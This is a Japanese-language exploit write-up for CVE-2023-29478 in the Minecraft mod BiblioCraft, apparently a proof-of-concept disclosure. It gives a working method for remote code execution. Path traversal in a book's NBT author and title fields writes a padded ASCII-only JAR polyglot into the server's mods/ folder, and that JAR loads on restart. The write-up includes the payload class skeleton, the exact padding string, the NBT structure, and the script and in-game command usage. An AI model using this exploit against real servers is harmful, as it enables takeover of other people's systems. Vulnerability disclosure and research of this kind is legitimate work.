
CVE-2023-29478 - BiblioCraft v2.4.6 未満のバージョンに影響するファイル操作/リモートコード実行エクスプロイト
この方法はBiblioCraftのみ必要です!あまり手の込んだことをせず、コード実行を達成するために他のMODは不要です!
CoreTweaksに焦点を当てた元の記事はこちらにあります。最初にこれを読むことをお勧めします。以下で重要な詳細を省略する可能性があります。
コード実行は複数の方法で可能です。 これはBiblioCraft 1.7.10 v1.11.7およびBiblioCraft 1.12.2 v2.4.5(確認済み)に影響し、おそらくv2.4.6より前のすべてのBiblioCraftバージョンにも影響します(未確認、未テスト)。
パストラバーサルのバグを修正する既存のパッチでも、この新しいコード実行経路を防ぐことはできません。
今回は、バニラの本の保存機能に焦点を当てます。
書き込み可能な本は world/books/<著者名>, <本のタイトル> に保存されます。
これらの本の行ごとの形式は次のとおりです:
先頭から続けて、本のページはマーカー #pgx<ページ番号> で始まり、その次の行から次のマーカーまでがそのページの一部となります。BiblioCraftは、何も続かなくても常に行末に改行を追加します。
以前と同様に、本のNBTタグを通じて本のタイトルと著者名の両方を制御でき、さらにパストラバーサルも実行できます。
書き込む場所は mods/ フォルダです。このディレクトリのMODは通常JARファイルとして保存されます。JARファイルの便利な特性は、実際にはZIPファイルの変装であることです。
では、なぜそれが役立つのでしょうか?
ZIPファイルには、先頭や末尾にゴミデータが付加されていても、有効なままであるという興味深い特性があります。
ZIPファイル内のEOCD(中央ディレクトリの終端)レコードは、末尾に配置されます。
これは(おおよそ)マジック/シグネチャ 0x06054b50、およびアーカイブ内の中央ディレクトリレコードの数、サイズ、オフセットで構成されます。
EOCDレコードの最後のフィールドは長さ指定のコメントであり、マジックでない限り、ほぼすべてのバイトシーケンスにできます(未テスト)。
(ZIPファイルパーサーは末尾から開始し、EOCDシグネチャを検索してアーカイブを解析すると思いますが、確かではありません。)
ZIPパーサーがアーカイブ内のファイルを見つけるために必要なのがEOCDレコードだけで、EOCDレコードの後に(制限はありますが)任意のデータが続いてもよいのであれば、ファイル内に他のデータが存在しても有効なZIPを作成できます。
(https://github.com/c0ny1/ascii-jar に多大な感謝を!これらのツールを多用しました!)
まず、ペイロードを構造化する必要があります。Forgeは、@Mod という特別なアノテーションがある場合、クラスをMODとしてロードするため、ここでそれを使用します。
おおまかなペイロード:
@Mod(modid = "payload-mod")
public class Payload {
// ...
static {
System.out.println("Hello World!");
}
// ...
}
エンコーディングの問題を避けるため、スクリプトを使用して、ペイロードクラスのみを含むASCIIのみのJARファイルを作成します。
先頭を PK\3\4.jar\n../../mods/\nprivate\n#pgx0\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA で埋めます。
パディングの先頭に PK\3\4 (ZIPのローカルファイルヘッダシグネチャ)を付ける理由は、Forgeの奇妙な挙動によるもので、JARファイルがこのシグネチャで始まることをチェックするにもかかわらず、ZIPの要件としてはそうではないという、再現できない現象があるためです。Forgeのバグかもしれません。
長い 'A' と 'a' の文字列を使用して、オフセットが255より大きくなるようにし、オフセットをエンコードする2バイト整数がASCII範囲外のバイトを持たないようにします。
末尾を \n で埋めて、BiblioCraftが改行を追加する際の問題を回避します。
新しいパディング付きJARを使用して、最初にパディングしたデータの最後の改行以降のすべてのバイトを取得し、そこから新しい文字列を作成します(これを <jar-data> と呼びます)。そして、以下のNBTデータを持つ新しい書き込み可能な本を作成します:
TAG_Compound(''): 2 entries
{
TAG_String("author"): "../../mods/"
TAG_String("title"): "PK\3\4.jar"
TAG_List("pages"): 1 entry
{
TAG_String(None): "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + <jar-data>
}
}
この本をBiblioCraftを通じてディスクに保存すると、パディングデータはすべてその形式によって「再生成」され、JARが再び有効になります。
そして、次回サーバーが再起動したとき(通常の再起動でも、クラッシュを引き起こした場合でも)、私たちのMOD JARがロードされ、コードが実行されます。
BiblioPOC/tools/ には、有効なペイロードを生成するためのPython3スクリプトがあります。
引数は次のとおりです:
python3 create_payload.py [java_file] [forge_jar_location] [class_name] [output_dir]
次に、ゲーム内でBiblioCraftのアトラスを手にした状態で
/jarpoccommand [completed_jar_path] を実行します。ここで [completed_jar_path] は [output_dir]/completed.jar へのパスです。